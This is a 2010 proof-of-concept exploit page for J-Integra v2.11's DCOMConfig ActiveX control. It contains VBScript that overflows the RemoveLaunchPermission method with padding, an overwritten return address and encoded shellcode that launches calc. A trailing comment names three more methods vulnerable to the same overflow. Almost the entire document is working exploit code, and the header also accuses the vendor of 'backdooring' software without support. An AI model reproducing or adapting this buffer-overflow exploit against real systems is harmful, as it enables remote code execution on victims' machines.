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<html> <!-- j-integra v2.11 Remote code execution vulnerability Discovered on: Thursday, October 28, 2010, 10:10:12 PM Download: http://j-integra.intrinsyc.com/ Author: bz1p, bz1p@bshellz.net impact: LOW, due to the object NOT marked safe for scripting Tested on: XP SP3 IE7 CVE: ? (0day) NOTE: This vuln was silently patched by the developers (v2.12), hence I am providing this PoC. They did not change the versions for DCOMConfig.dll, so I can only conclude that they are sneaky and should be slapped for backdooring software and making customers pay mula. --> <object classid='clsid:F21507A7-530F-4A89-8FE4-9D989670FD2C' id='target' ></object> <script language='vbscript'> esp = String(100, "B") calc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _ unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _ unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _ unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _ unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _ unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _ unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _ unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _ unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _ unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _ unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _ unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _ unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _ unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _ unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _ unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _ unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _ unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _ unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _ unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _ unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _ unescape("%50%68") eip = unescape("%2f%55%02%10") ' CALL EDI arg1=String(253, "A") arg1 = arg1 + eip + esp + calc arg2="defaultV" target.RemoveLaunchPermission arg1 ,arg2 </script> </html> <!-- It has also been reported by Dr_IDE that the following methods are also vulnerable to the same exploit: target.RemoveAccessPermission arg1 ,arg2 target.AddLaunchPermission arg1 ,arg2 target.AddAccessPermission arg1 ,arg2 --> |
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